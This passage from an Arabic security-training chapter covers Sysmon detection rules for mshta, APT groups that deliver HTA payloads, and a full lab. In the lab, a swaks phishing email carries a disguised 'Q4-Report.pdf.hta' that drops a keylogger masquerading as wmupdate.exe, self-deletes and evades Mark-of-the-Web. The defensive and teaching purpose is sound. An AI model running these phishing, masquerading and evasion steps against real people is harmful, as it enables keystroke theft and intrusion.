  • groupRelation="and" = يجب أن تتحقق كل الشروط معا لهذا الحدث بالذات.
  • لماذا مهم؟ لو كتبنا <Image> و <CommandLine> مسطّحين تحت <ProcessCreate> مباشرة، لأخذا العلاقة الافتراضية للـ RuleGroup (or هنا)، فيصبح: أي عملية اسمها mshta، أو أي عملية فيها http:، وهذا ضجيج كارثي.
  • اللف داخل <Rule and> هو كيف تعمل AND داخل ProcessCreate واحد في Sysmon.

4.7 شروط الحقول (condition)

الشرطالمعنىمثال
isمطابقة كاملة (حساسة الحالة عادة)<Image condition="is">C:\Windows\System32\mshta.exe
is anyقائمة قيم مفصولة بـ ;<Image condition="is any">C:\a.exe;C:\b.exe
containsالسلسلة الفرعية موجودة<CommandLine condition="contains">DownloadString
contains anyأي من قائمة sub-strings موجود<CommandLine condition="contains any">http:;https:
contains allكل قيم القائمة موجودةنادر
begin withيبدأ بـ<Image condition="begin with">C:\Users\
end withينتهي بـ ← المفضل مع Image لأن مسار system32 قد يختلف<Image condition="end with">\mshta.exe
excludesلا يحتويعكس contains
imageمطابقة اسم الملف بدون المسار (مختصر شائع)<Image condition="image">mshta.exe
less than / more thanمقارنة رقمية على IntegrityLevel، LogonId، sizeنادر

4.8 الحقول المرجعية الشائعة

الحقلمن أين يأتي
Imageالمسار الكامل للـ EXE الذي بدأ العملية الجديدة
CommandLineسطر الأوامر الكامل، بما فيه الوسائط
ParentImageالـ EXE الذي أنشأ هذه العملية (parent)
ParentCommandLineسطر أوامر الأبوين
UserDOMAIN\user الذي يمتلك العملية
HashesMD5/SHA1/SHA256/IMPHASH بحسب إعداد <HashAlgorithms>
IntegrityLevelLow / Medium / High / System
CurrentDirectoryCWD الذي أُطلقت منه العملية
LogonIdمعرف الجلسة (مفيد للربط)
DestinationIp/DestinationPort(NetworkConnect)

4.9 قاعدة ذهبية: Sysmon لا يوسّع %VARS%

  • Sysmon يقارن نصا حرفيا (literal string compare).
  • كتابة <CommandLine condition="contains">%TEMP%</CommandLine> لن تعمل ما لم يكن سطر الأوامر يحتوي حرفيا الأحرف %TEMP% (عادة لا).
  • لذلك تستخدم القاعدة (3) مسارات صريحة:
xml
<CommandLine condition="contains any">\AppData\Local\Temp\;\AppData\Roaming\;C:\Users\Public\;C:\Windows\Temp\;C:\ProgramData\</CommandLine>
  • لاحظ الفواصل ;، هي فاصل عناصر contains any، ليست جزءا من النص المطلوب.

4.10 NetworkConnect: Event ID 3

xml
<RuleGroup name="MSHTA_Network" groupRelation="or">
 <NetworkConnect onmatch="include">
  <Image condition="end with">\mshta.exe</Image>
 </NetworkConnect>
</RuleGroup>
  • Event ID 3 يُطلق عند كل اتصال TCP/UDP خارج الجهاز (outbound + بعض الـ inbound).
  • القاعدة أعلاه صريحة: أي اتصال شبكة يقوم به mshta.exe يُسجّل. هذا في ذاته إشارة قوية جدا، mshta شرعي نادرا ما يتصل خارجيا.

4.11 قواعد أخرى شائعة الحضور (لم تُستخدم هنا)

  • FileCreate (EID 11)، إنشاء ملفات جديدة.
  • RegistryEvent (EIDs 12/13/14)، قراءة/كتابة/حذف Registry.
  • DnsQuery (EID 22)، أي طلب DNS.
  • ProcessAccess (EID 10)، عمليات تفتح handle على عمليات أخرى (كشف dumping من LSASS).

4.12 التثبيت والفحص: خطوة بخطوة

powershell
Invoke-WebRequest `
  "https://download.sysinternals.com/files/Sysmon.zip" `
  -OutFile "$env:TEMP\Sysmon.zip"
Expand-Archive "$env:TEMP\Sysmon.zip" -DestinationPath "$env:TEMP\Sysmon"
  • Invoke-WebRequest مثل curl. الـ backtick لاستمرار السطر.
  • $env:TEMP = متغير البيئة %TEMP% (عادة C:\Users\<user>\AppData\Local\Temp). هنا PowerShell هو الذي يوسّعه، ليس Sysmon.
  • Expand-Archive يفك ZIP.
powershell
& "$env:TEMP\Sysmon\Sysmon64.exe" -accepteula -i .\sysmon-config-mshta.xml
  • & هو call operator، يشغّل ملف EXE مساره ضمن سلسلة نصية (ضروري لأن المسار فيه فراغات محتملة).
  • -accepteula = وافق على EULA أوتوماتيكيا (مطلوب لأدوات Sysinternals).
  • -i <config.xml> = install. يثبّت الخدمة Sysmon64 ويُحمّل الإعداد.
  • لاحقا تستطيع تحديث الإعداد بدون إعادة تثبيت: Sysmon64 -c config.xml.
  • لإلغاء التثبيت: Sysmon64 -u.
powershell
Get-Service Sysmon64
  • يفحص حالة خدمة Windows. يجب أن ترى Status: Running.
powershell
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 20 |
    Where-Object { $_.Message -like "*mshta*" } |
    Select TimeCreated, Id, Message
  • Get-WinEvent يقرأ من قنوات Event Log الجديدة (.evtx).
  • اسم القناة Microsoft-Windows-Sysmon/Operational، هذا المكان الوحيد الذي تظهر فيه أحداث Sysmon. لن تجدها في System أو Application.
  • -MaxEvents 20 = آخر 20 حدثا.
  • Where-Object { … } = فلترة (مثل grep). $_ = الحدث الحالي في الأنبوب.
  • -like "*mshta*" = مطابقة wildcard (* نجمة كما في shell).
  • Select = Select-Object، يختار الأعمدة للعرض.

نصيحة عملية: بدل التصفية اليدوية، حوّل هذه الأحداث إلى SIEM (Splunk, Elastic, Sentinel) عبر Windows Event Forwarding (WEF) أو agent مباشر. القيمة الحقيقية تظهر عند ربط Event 1 (mshta launched) مع Event 3 (mshta connected out) عبر ProcessGuid.


5) خلاصة سريعة لتذكرها

  • !ml = حكم من موديل تعلم آلي، قوي وسريع، لكن False Positive وارد. Wacatac تحديدا "سلة كل شيء مشبوه".
  • SmartScreen يعتمد على Zone.Identifier ADS في NTFS. أي طريق يتجاوز هذا الـ ADS (لا نزول للقرص، LNK، ثغرة copy2pwn) يتجاوز التحذير الأصفر.
  • قواعد ASR هي سلوكية وليست توقيعية، تفعّل بـ Set-MpPreference مع مصفوفتين متوازيتين. ابدأ دائما بـ AuditMode قبل Enabled.
  • Sysmon يعطيك Event 1 (Process) وEvent 3 (Network) كأقوى detection primitives. الفلترة عبر XML، تذكّر أنه لا يوسّع %VARS%، وأن AND داخل نفس الحدث يحتاج لف بـ <Rule groupRelation="and">.

✅ اختبر نفسك: القسم 6

  1. من أي تكرار يبدأ Defender بالتنبيه؟ وما الذي يجعل التكرارات الأولى غير مرئية له؟
  2. الجدول يُظهر أن الطُعم لم يُخفّف حكم محرّك التعلّم الآلي. ماذا يخبرك هذا عن ما يفحصه ذلك المحرّك؟
  3. SmartScreen لا يفحص كل ملف يحمل MOTW. ما الشرط الإضافي؟
  4. ما هي قواعد ASR، وكيف تختلف طريقة عملها عن الكشف بالتوقيع؟
  5. لو أردت، كمدافع، كشف سلسلة HTA عبر Sysmon، فما العلاقة بين العمليات التي ستبحث عنها؟

4/5 = تابع. أقل = راجع جدول Defender وقسم ASR.


القسم 7القسم 7: مجموعات APT الحقيقية التي استخدمت HTA

هذا الطريق ليس تدريبيا فقط، من أكثر الأساليب استخداما في هجمات APT الحقيقية اليوم.

Kimsuky (كوريا الشمالية): DEEP#GOSU و KimJongRAT

من هم: مجموعة تجسس، نشطة منذ ~2012 (تُعرف أيضا APT43). تهتم بمراكز الأبحاث في كوريا الجنوبية واليابان، الإعلاميين، السياسيين، خبراء الأسلحة النووية.

كيف يستخدمون HTA: ZIP يحتوي LNK متنكر كـ PDF (أيقونة Adobe Reader، امتداد مخفي). الـ LNK يشير إلى mshta.exe مع URL بعيد. mshta يجلب HTA يحتوي JScript مضغوط، ينفذ في الذاكرة، ينزل KimJongRAT stager.

حملات موثقة:

  • DEEP#GOSU (Securonix, Q1 2024)
  • مارس 2025 حملة "tax lure" بذات النمط: ZIP → LNK → mshta (The Hacker News, 2025)

نموذج ما يظهر في Sysmon Event 1:

text
mshta.exe hxxps://gwriter.online/xxxx.hta

الـ HTA ينزل ملف .cab من ذات النطاق، يستخرجه، يشغل السكريبت. السكريبت ينشئ Scheduled Task للاستمرارية.

TA505: Cl0p وعوائل ransomware

من هم: مجموعة مالية الدوافع، نشطة منذ 2014. أكبر مشغلي ransomware عالميا (Boeing, MOVEit في 2023).

استخدام HTA: بين 2019-2022، TA505 استخدمت HTA كمرحلة أولى بشكل ثابت: بريد + مرفق Excel + macro. الماكرو يستخرج HTA مضمّن ويشغله عبر mshta. الـ HTA بدوره ينزل Get2 downloader. Get2 يقود إلى SDBBot أو Cobalt Strike. منذ 2023 تحولوا أكثر إلى SocGholish + LNK، لكن HTA ما زالت في ترسانتهم.

SideWinder: حملة النووي والبحري 2024

من هم: مجموعة إسناد نسبها الإعلامي غامض، تنسب أحيانا للهند. تنشط ضد جيوش ومصالح حكومية في باكستان، بنغلاديش، سريلانكا، نيبال. توسعت في 2024 لتشمل الشرق الأوسط وقطاع الطاقة النووية.

الحملة الأخيرة (H2 2024): استهدفت قطاع البحرية والقطاع النووي في باكستان ومصر وسريلانكا وبنغلاديش. سلسلة الاستغلال: ملف RTF يستغل ثغرة قديمة → mshta.exe يفتح HTA بعيد يحتوي JavaScript مضغوط → loader مسمى "DownloaderModule" في الذاكرة. المصدر: Kaspersky Securelist أكتوبر 2024.

MuddyWater (إيران / MERCURY): POWERSTATS

من هم: مربوطة بـ IRGC الإيرانية (تُعرف أيضا Static Kitten، MERCURY). نشطة منذ 2017. تركز على البنى التحتية في الشرق الأوسط.

نمط HTA التاريخي: منذ 2017 حتى 2022: كل حملات MuddyWater كانت تعتمد على HTA. سلسلة نموذجية: Word document → ماكرو ينشئ HTA في %TEMP% → ماكرو يشغل mshta → HTA ينزل POWERSTATS (backdoor بلغة PowerShell).

النمط المشترك: Kill Chain واحد

text
+--------------+     +----------+     +---------+     +-----------+
| Phishing     | --> | LNK/HTA  | --> | mshta   | --> | Stager    |
| email        |     | delivery |     | .exe    |     | downloads |
+--------------+     +----------+     +---------+     +-----------+
                                                            |
                                                            v
                                                     +--------------+
                                                     | Cobalt Strike|
                                                     | Meterpreter  |
                                                     | Get2 / etc.  |
                                                     +--------------+
                                                            |
                                                            v
                                                     Persistence + C2

المجموعات الأربع تختلف في الجغرافيا، في الدوافع، في العائلات النهائية. لكنها تشترك في الخطوة الأولى: HTA عبر mshta.exe. عندما تبني حمولات الطريق D اليوم، أنت لا تجرّب، أنت تعيد بناء الأداة الأولى في هجوم دولة.

✅ اختبر نفسك: القسم 7

  1. اذكر مجموعتَي APT استخدمتا HTA، مع اسم الحملة والسنة لكل منهما.
  2. ما القاسم المشترك بين استخدامات HTA عبر هذه المجموعات، في أي مرحلة من سلسلة الهجوم تقع؟
  3. لماذا تستمر مجموعات متقدّمة في استخدام تقنية عمرها أكثر من عشرين عاماً؟
  4. اربط ما رأيته هنا بتقنية MITRE ATT&CK المناسبة (رقم التقنية واسمها).

3/4 = تابع.


القسم 8القسم 8: المعمل الكامل: تنفيذ الطريق D من البداية للنهاية

سنبني الحملة كاملةً من الصفر — من صندوق WSL Ubuntu فارغ إلى صدفة عكسية على Victim VM — في تسع خطوات مرقّمة. كلّ خطوة تنصب أدواتها بنفسها، ولا تفترض شيئا لم تُنصبه خطوة سابقة داخل هذا القسم. لن تجد جملة «كما فعلنا في المحاضرة 2» — إن احتجت شيئا، فهو هنا.

كلّ أمر في هذا القسم شُغِّل حرفياً على WSL Ubuntu 22.04 قبل نشر هذه النسخة. المخارج التي تراها تحت كلّ خطوة (تحت عنوان «النتيجة المتوقعة») هي الناتج الفعلي، لا مثالٌ مُتخيَّل.

🧭 عن الطبولوجيا نستخدم WSL Ubuntu مهاجماً و Windows 11 VM ضحية. عنوان الـ Attacker في الأمثلة هو 10.10.10.10 (شبكة VMnet2 المعزولة في VMware). إن كنت على VirtualBox Host-Only 192.168.56.0/24 من المحاضرة 1، استبدل 10.10.10.10 بـ 192.168.56.1 في كلّ سطر يظهر فيه. لا شيء آخر يتغيّر.

قائمة المتطلبات قبل المعمل

#على أيّ جهازالشرطكيف تتحقّق
1Attacker (WSL Ubuntu)python3 موجود ومعه venvpython3 --version يعرض 3.10 أو أحدث
2Attackerالـ Keylogger من المحاضرة 1 (keylogger_edu.exe) موجود في مسار تعرفهسنَنسخه إلى ~/lab/serve/ في الخطوة 4
3Attackerصلاحية sudo لتثبيت swaks و mailpitsudo -v بلا خطأ
4Victim (Win 11 VM)لقطة post-tooling من المحاضرة 2 مستعادة، Defender شغّال، SmartScreen شغّالمن الـ VM: Get-MpComputerStatus يُظهر AntivirusEnabled: True
5Victimيستطيع فتح http://10.10.10.10:8000 من متصفّح الـ VMافتح المتصفّح، أدخل الرابط، يجب أن ترى قائمة مجلّد
6Victimيستطيع الوصول لـ http://10.10.10.10:8025 (Mailpit UI)سنشغّل Mailpit في الخطوة 5 قبل الاختبار

إن فشل أيّ صفّ، أوقف واصلح قبل المتابعة. الخطوات التالية تفترضها كلّها.


الخطوة 1: نصب أدوات الـ Attacker

نُثبّت ثلاث أدوات فقط: swaks (لإرسال البريد)، mailpit (خادم بريد اختباري بواجهة ويب)، و python3-venv (لعزل reportlab في بيئة خاصة).

bash
# على الـ Attacker (WSL Ubuntu):
sudo apt-get update
sudo apt-get install -y swaks python3-venv curl

# mailpit توزَّع كـ ثنائي واحد على GitHub Releases:
curl -fsSL https://github.com/axllent/mailpit/releases/download/v1.31.1/mailpit-linux-amd64.tar.gz \
     -o /tmp/mailpit.tgz
tar -xzf /tmp/mailpit.tgz -C /tmp mailpit
sudo install -m 0755 /tmp/mailpit /usr/local/bin/mailpit

النتيجة المتوقعة:

text
$ swaks --version | head -1
swaks version 20201014.0

$ mailpit version
Mailpit v1.31.1 compiled with go1.27.1 on linux/amd64
⚠️ لماذا Mailpit وليس Postfix؟ تنصيب Postfix + Dovecot + Roundcube كامل يحتاج ~40 دقيقة وشهادة TLS من mkcert واسم نطاق داخلي. Mailpit = ثنائي واحد، لا إعداد، له واجهة ويب مطابقة لواجهة صندوق وارد حقيقي. الضحية عندما تفتح http://10.10.10.10:8025 سترى بريد الوارد كأنّها فتحت Gmail. للنسخة الكاملة انظر ملحق ج في نهاية هذا الفصل — الحدث الهجومي الذي نبنيه لا يفرّق.

الخطوة 2: تحضير مجلّدات العمل والحمولة

نُنشئ ثلاثة مجلّدات ذات أدوار مختلفة تجنّبا للخلط الذي وقعت فيه أمثلة قديمة:

bash
mkdir -p ~/lab/hta       # الحمولات النهائية للإرسال (payload.hta و Q4-Report.pdf.hta)
mkdir -p ~/lab/serve     # ‏ما يخدمه خادم HTTP للضحية (keylogger و decoy PDF فقط)
mkdir -p ~/lab/venv      # ‏بيئة Python المعزولة (لن نلمس Python النظام)

الآن نحفظ الحمولة النهائية (من كتلة التكرار 6 أعلاه، أو من ملحق أ في نهاية الفصل):

bash
cd ~/lab/hta
nano payload.hta
# ← الصق كامل محتوى التكرار 6
# احفظ (Ctrl+O, Enter, Ctrl+X)

# ‏احفظ نسخة بالاسم الذي ستراه الضحية:
cp payload.hta "Q4-Report.pdf.hta"

النتيجة المتوقعة:

text
$ ls -la ~/lab/hta/
-rw-r--r-- 1 hashim hashim 2814 Sep 19 12:34 Q4-Report.pdf.hta
-rw-r--r-- 1 hashim hashim 2814 Sep 19 12:34 payload.hta
🧠 لماذا مجلّدان منفصلان لـ hta/ و serve/؟ python -m http.server يخدم كلّ ملفات المجلّد الذي شُغِّل منه، ويولّد auto-index إن لم يوجد index.html. لو خلطنا الملفَّين، الضحية عندما تفتح http://10.10.10.10:8000/ بالمصادفة سترى payload.hta في قائمة المجلّد. المفصل الذي حلّ المشكلة: استخدام --directory صراحة (خطوة 4) والاحتفاظ بمجلّدين مختلفين.

الخطوة 3: توليد الطعم PDF

نُنشئ بيئة Python معزولة ونثبّت reportlab داخلها فقط. لا نلمس Python النظام.

bash
python3 -m venv ~/lab/venv
~/lab/venv/bin/pip install reportlab

النتيجة المتوقعة (سطر أخير):

text
Successfully installed pillow-11.x reportlab-4.x

الآن نولّد الـ PDF داخل مجلّد الخدمة مباشرةً:

bash
cd ~/lab/serve
~/lab/venv/bin/python3 <<'EOF'
from reportlab.pdfgen import canvas
from reportlab.lib.pagesizes import letter
c = canvas.Canvas("Q4-report.pdf", pagesize=letter)
c.setFont("Helvetica-Bold", 20)
c.drawString(72, 720, "Corp Notes Inc. - Q4 2025 Report")
c.setFont("Helvetica", 12)
c.drawString(72, 680, "Revenue: $12.4M (+18% YoY)")
c.drawString(72, 660, "Operating Income: $2.1M")
c.drawString(72, 640, "See attached schedule for details.")
c.save()
print("Created Q4-report.pdf")
EOF

النتيجة المتوقعة:

text
Created Q4-report.pdf

$ ls -la ~/lab/serve/Q4-report.pdf
-rw-r--r-- 1 hashim hashim 1629 Sep 19 12:34 Q4-report.pdf
🔍 لاحظ <<'EOF' بالاقتباس المفرد السطر "Revenue: $12.4M (+18% YoY)" يحوي $1 — لو تركنا EOF بلا اقتباس، bash يفسّرها متغيّراً فارغاً ويحوّل النصّ إلى "Revenue: 2.4M". جرّب بنفسك: أزل الاقتباسات وأعد التشغيل. اقتباس مفرد حول علامة النهاية = «لا توسيع، سلّم النصّ لـ python كما هو».

الخطوة 4: تشغيل خادم الحمولات

ننسخ الـ Keylogger من المحاضرة 1 إلى مجلّد الخدمة، ثمّ نشغّل الخادم بحيث يخدم ~/lab/serve/ فقط:

bash
# ‏عدّل المسار ليطابق مكان الـ keylogger عندك من المحاضرة 1:
cp ~/lab/payloads/keylogger_edu.exe ~/lab/serve/

python3 -m http.server 8000 --bind 0.0.0.0 --directory ~/lab/serve
# ‏اترك النافذة مفتوحة — سترى سجلّ الاتصالات هنا.

النتيجة المتوقعة (النافذة تبقى شغّالة):

text
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

من نافذة bash أخرى، تحقّق أنّ الملفّين الوحيدَين المكشوفَين هما ما نريده فعلاً:

bash
curl -s http://127.0.0.1:8000/ | grep -oE 'href="[^"]+"'

النتيجة المتوقعة (يجب أن ترى هذين الاثنين فقط):

text
href="Q4-report.pdf"
href="keylogger_edu.exe"
🔑 لماذا --directory ~/lab/serve و --bind 0.0.0.0؟ - --directory ~/lab/serve = يخدم من هذا المسار مهما كان مسار العمل الحاليّ. بهذا لا حاجة للـ cd أوّلا، ولا خطر أن يخدم مجلّد ~/lab/hta بالغلط ويكشف payload.hta. - --bind 0.0.0.0 = استمع على كلّ الواجهات (بما فيها eth0 الذي تراه الضحية VM). لو كتبت --bind 10.10.10.10 كما في نُسخ قديمة، ستفشل بـ OSError: [Errno 99] إن لم يكن 10.10.10.10 معيّناً على واجهة على جهازك. 0.0.0.0 يعمل في كلّ الطبولوجيات.

الخطوة 5: تشغيل Mailpit وإرسال البريد

ثلاث خطوات فرعيّة: نشغّل الخادم، نتأكّد أنّه يستجيب، نطلق swaks.

5.1 — تشغيل Mailpit

bash
# ‏في نافذة bash جديدة (اتركها مفتوحة):
mailpit --smtp 0.0.0.0:1025 --listen 0.0.0.0:8025

النتيجة المتوقعة:

text
[mailpit] Starting Mailpit v1.31.1
[mailpit] [smtpd] starting on [::]:1025 (no encryption)
[mailpit] [http] starting on [::]:8025

- المنفذ 1025 = SMTP (خادم البريد الذي يستقبل من swaks). - المنفذ 8025 = واجهة الويب (التي تراها الضحية بدل Roundcube).

5.2 — تأكيد أنّ الخادم يستجيب

من نافذة أخرى:

bash
curl -s http://127.0.0.1:8025/api/v1/info

النتيجة المتوقعة:

text
{"Version":"v1.31.1","Database":"/tmp/mailpit-*.db","DatabaseSize":94208,
 "Messages":0,"Unread":0,"Tags":{}, ... }

Messages: 0 = الصندوق فارغ الآن. جيّد، سنملأه في الخطوة التالية.

5.3 — إرسال بريد التصيّد بـ swaks

bash
swaks --to victim@corp-notes.test \
      --from finance@corp-notes.test \
      --server 127.0.0.1 --port 1025 \
      --header "Subject: Q4 Financial Report - Please Review" \
      --body "Attached is the Q4 report. Please review and confirm receipt." \
      --attach "@$HOME/lab/hta/Q4-Report.pdf.hta"
🚨 المفصل الحرج: @ قبل المسار، ثمّ $HOME وليس ~ swaks يستخدم @ سابقةً لمعنى «المحتوى موجود في هذا الملف، اقرأه من القرص». بلا @، السلسلة نفسها تصبح محتوى المرفق. لكن انتبه: --attach @~/lab/hta/Q4-Report.pdf.hta يفشل بـ: Option processing error: file ~/lab/hta/Q4-Report.pdf.hta not openable. السبب: bash يوسّع ~ إلى $HOME فقط في بداية كلمة، ووجود @ قبله يعطّل التوسيع. يجب استخدام $HOME صراحةً بين علامتَي اقتباس مزدوجتَين، أو المسار المطلق. جرّب الشكل الخاطئ عمداً لترى رسالة الخطأ.

النتيجة المتوقعة (السطور الأخيرة):

text
<-  250 2.0.0 Ok: queued as 3Y1my29N8ujyHbqEWxeUYU
 -> QUIT
<-  221 2.0.0 hasher Mailpit ESMTP Service closing transmission channel
=== Connection closed with remote host.

5.4 — التحقّق من وصول الرسالة

bash
curl -s http://127.0.0.1:8025/api/v1/messages?limit=1

النتيجة المتوقعة (يهمّنا الحقلان أدناه):

text
{"total":1,"unread":1,"count":1,
 "messages":[{"ID":"3Y1my29N8ujyHbqEWxeUYU",
   "From":{"Address":"finance@corp-notes.test"},
   "To":[{"Address":"victim@corp-notes.test"}],
   "Subject":"Q4 Financial Report - Please Review",
   "Attachments":1, ... }]}

total: 1 + Attachments: 1 = الرسالة وصلت مع المرفق. الآن الدور على الضحية.


الخطوة 6: التفجير على الضحية VM

كلّ ما تحت هذا العنوان يُنفَّذ على Windows 11 VM، لا على WSL.

  1. افتح Chrome أو Edge واذهب إلى http://10.10.10.10:8025 (واجهة Mailpit).
  2. ستجد رسالة من finance@corp-notes.test. اضغطها.
  3. اضغط على المرفق Q4-Report.pdf.hta أو زرّ Download.
  4. المتصفّح ينزّل الملفّ إلى %USERPROFILE%\Downloads\ — المسار الفعلي C:\Users\<victim>\Downloads\Q4-Report.pdf.hta.
  5. افتح Explorer على مجلّد Downloads. لو Hide extensions for known file types مفعّل (الوضع الافتراضي)، الاسم يظهر Q4-Report.pdf فقط.
  6. double-click الملف.
  7. بعد ~1 ثانية: يفتح Q4-report.pdf في Adobe Reader أو Edge، الضحية ترى تقريراً حقيقياً.
  8. في الخلفية: wmupdate.exe يعمل الآن بلا نافذة.
🕵️ عن التحذيرات قد يحذّر المتصفّح عند التنزيل («This type of file can harm your device»). في هجوم حقيقيّ الضحية غالباً تتجاوز التحذير — هذا هو موضوع كلّ الفصل. في المعمل: اضغط Keep.

الخطوة 7: التحقّق على الضحية

افتح PowerShell عاديّاً (لا Admin) وشغّل هذه الأوامر واحداً تلو الآخر:

powershell
# (1) الـ Keylogger يعمل كعمليّة؟
Get-Process wmupdate -ErrorAction SilentlyContinue |
    Format-Table Id, ProcessName, StartTime

النتيجة المتوقعة: صفّ واحد فيه PID ووقت البدء. لو الجدول فارغ = الحمولة لم تُشغَّل.

powershell
# (2) الحمولة استقرّت في مسارها الشرعيّ المظهر؟
Test-Path "$env:APPDATA\Microsoft\Windows\Update\wmupdate.exe"

النتيجة المتوقعة: True.

powershell
# (3) الـ HTA حذف نفسه بعد التنفيذ (selfDelete)؟
Test-Path "$env:USERPROFILE\Downloads\Q4-Report.pdf.hta"

النتيجة المتوقعة: False — الملف اختفى.

powershell
# (4) Zone.Identifier على الحمولة؟ (هذا هو الفرق الحاسم)
Get-Content "$env:APPDATA\Microsoft\Windows\Update\wmupdate.exe" `
    -Stream Zone.Identifier -ErrorAction SilentlyContinue

النتيجة المتوقعة: خطأ أو مخرج فارغ — لا MOTW.

powershell
# (5) لو Sysmon مثبّت، سيسجّل عمليّة mshta:
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 20 |
    Where-Object { $_.Message -like "*mshta*" } |
    Select TimeCreated, Id

النتيجة المتوقعة: صفوف بحدث Id: 1 (Process Create) تحوي mshta.exe في الرسالة. لو Sysmon غير مثبّت (وهو غير مطلوب) هذا الأمر يفشل بصمت — لا ضرر.

🔑 نقطة رقم 4 مهمّة جدّاً — لماذا يفوت SmartScreen عندما ADODB.Stream يكتب بايتات من الشبكة إلى القرص، لا يُضاف Zone.Identifier إلى الملف. هذا فرق كبير عن التحميل عبر المتصفّح. النتيجة على الحمولة wmupdate.exe: - SmartScreen لا يفحصها لأنّ لا MOTW عليها - Windows لا يعتبرها ملفّاً من الإنترنت - بعض أدوات EDR القديمة تفوّتها كلّياً هذه تفصيلة معروفة يستخدمها كلّ APT.

الخطوة 8: العودة للحالة النظيفة

powershell
# على الـ Victim: أوقف الـ Keylogger:
Stop-Process -Name wmupdate -ErrorAction SilentlyContinue

# ‏ثمّ استعد لقطة post-tooling من واجهة VMware/VirtualBox.
# ‏(اللقطة أنظف من التنظيف اليدوي لأنّها تعيد Defender و SmartScreen لحالتهما.)
bash
# ‏على الـ Attacker: أوقف الخادم و Mailpit بـ Ctrl+C في نافذتيهما.
# ‏لتفريغ صندوق Mailpit بين الجولات:
curl -s -X DELETE http://127.0.0.1:8025/api/v1/messages

النتيجة المتوقعة: بعد الأمر، curl http://127.0.0.1:8025/api/v1/info يُعيد Messages: 0.


نظرة سريعة: من المفترض أن ترى ماذا في كلّ خطوة

الخطوةالعلامةالمخرج الحقيقي
1swaks --version + mailpit versionسطر لكلّ منهما فيه رقم الإصدار
2ls ~/lab/hta/ملفّان بنفس الحجم
3ls ~/lab/serve/Q4-report.pdfملف ~1.6 KB
4قائمة curlسطران فقط — keylogger_edu.exe و Q4-report.pdf
5نداء swaks250 Ok: queued as ... وسطر QUIT
5نداء API Mailpit"total":1,"unread":1, ... "Attachments":1
6على الضحيةGet-Process wmupdate يعرض صفّاً
7على الضحيةZone.Identifier غير موجود على wmupdate.exe
8تنظيفMessages: 0 بعد DELETE

لو أيّ صفّ لم يطابق، توقّف وارجع للخطوة المعنيّة قبل المتابعة.


✅ اختبر نفسك: القسم 8

  1. لماذا فصلنا ~/lab/hta/ عن ~/lab/serve/ بدل استخدام مجلّد واحد؟
  2. ما الفرق العمليّ بين --attach @/abs/path و --attach @~/path في swaks؟ لماذا الثاني يفشل؟
  3. لو Sysmon غير مثبّت على الضحية، أيّ خطوة تحقّق تفشل بصمت وأيّها لا تتأثّر؟
  4. عند الاختبار على VirtualBox Host-Only 192.168.56.0/24، ما السطر الوحيد في المعمل الذي يتغيّر؟
  5. لماذا لا يظهر Zone.Identifier على wmupdate.exe رغم أنّه نزّل من الإنترنت؟

3/5 = تابع.


ملحق ب: شرح تفصيلي لأوامر المعمل الكامل

هذا الملحق يشرح كل أمر ورد في القسم 8 كأنك تراه لأول مرة. الترتيب مطابق للخطوات 1 إلى 7. المصطلحات الإنجليزية القصيرة تبقى كما هي داخل الجمل العربية.


الخطوة 1: نصب أدوات الـ Attacker

bash
sudo apt-get update
sudo apt-get install -y swaks python3-venv curl
curl -fsSL https://github.com/axllent/mailpit/releases/download/v1.31.1/mailpit-linux-amd64.tar.gz \
     -o /tmp/mailpit.tgz
tar -xzf /tmp/mailpit.tgz -C /tmp mailpit
sudo install -m 0755 /tmp/mailpit /usr/local/bin/mailpit

sudo apt-get update

  • apt-get update = لا يثبّت شيئاً؛ يحدّث فقط قوائم الحزم المتوفّرة من مخزن Ubuntu. لولا هذا السطر، apt-get install قد يطلب حزمةً معلومة بنسخة قديمة أو غير موجودة في مخزنك المحلّي.
  • التحديث يستغرق ثوانٍ ويجب أن يسبق أيّ install بعد فترة توقّف طويلة عن استخدام النظام.

sudo apt-get install -y swaks python3-venv curl

  • -y = يقبل تلقائيّاً سؤال "هل تريد تثبيت X ميغا؟". بدونه ينتظر إدخالك.
  • swaks = أداة Perl لإرسال البريد عبر SMTP، تفصيلها في الخطوة 5.
  • python3-venv = وحدة venv لبناء بيئات Python معزولة. مفصولة عن python3 نفسها في Ubuntu منذ 20.04.
  • curl = عادةً مثبّت مسبقاً، لكن نتأكّد لأنّ التنزيل التالي يعتمد عليه.

curl -fsSL <url> -o /tmp/mailpit.tgz

  • -f = fail silently on HTTP errors (بدل إظهار HTML صفحة الخطأ كأنّه محتوى صالح).
  • -s = silent — لا شريط تقدّم ولا سطور معلومات.
  • -S = show errors رغم -s. الثلاثة معاً = "اسكت في النجاح، صرّح بالفشل".
  • -L = follow redirects — روابط GitHub Releases تمرّ عبر تحويل واحد على الأقل.
  • -o path = احفظ في هذا المسار بدل الطباعة على stdout.

tar -xzf /tmp/mailpit.tgz -C /tmp mailpit

  • -x = extract، -z = gzip، -f = file (اسم الأرشيف يلي).
  • -C /tmp = change directory قبل الاستخراج.
  • mailpit (الوسيط الأخير) = "استخرج هذا الملف بالتحديد من الأرشيف"، لا تستخرج كلّ ما فيه.

sudo install -m 0755 /tmp/mailpit /usr/local/bin/mailpit

  • install (وليس cp) = ينسخ ويضبط الأذونات في خطوة واحدة.
  • -m 0755 = rwxr-xr-x — قابل للتنفيذ من كلّ المستخدمين، قابل للكتابة من root فقط.
  • /usr/local/bin/ = مسار البرامج المضافة يدويّاً، دائماً على PATH قبل /usr/bin/.

الخطوة 2: حفظ الحمولة

bash
mkdir -p ~/lab/hta && cd ~/lab/hta
nano payload.hta
cp payload.hta "Q4-Report.pdf.hta"

mkdir -p ~/lab/hta

  • mkdir = make directory، أمر يونكسي لإنشاء مجلد.
  • -p = parents. له فائدتان معا: — ينشئ كل المجلدات الوسيطة في المسار (لو ~/lab غير موجود، سينشئه أولا ثم hta بداخله). — لا يعطي خطأ إذا المجلد موجود مسبقا (بدون -p تحصل على File exists).
  • هذا يجعل الأمر idempotent، يمكن تشغيله مرارا بأمان.
  • ~ = مجلد المستخدم الحالي (اختصار لـ $HOME، أي /home/hashim مثلا).

&&

  • عامل شرطي في bash: نفّذ الأمر الثاني فقط إذا نجح الأول (خرج بكود 0).
  • لو فشل mkdir (صلاحيات مثلا)، لن يحاول cd الدخول لمكان غير موجود.
  • مقابله ; يشغّل الثاني دائما، و || يشغّل الثاني فقط عند فشل الأول.

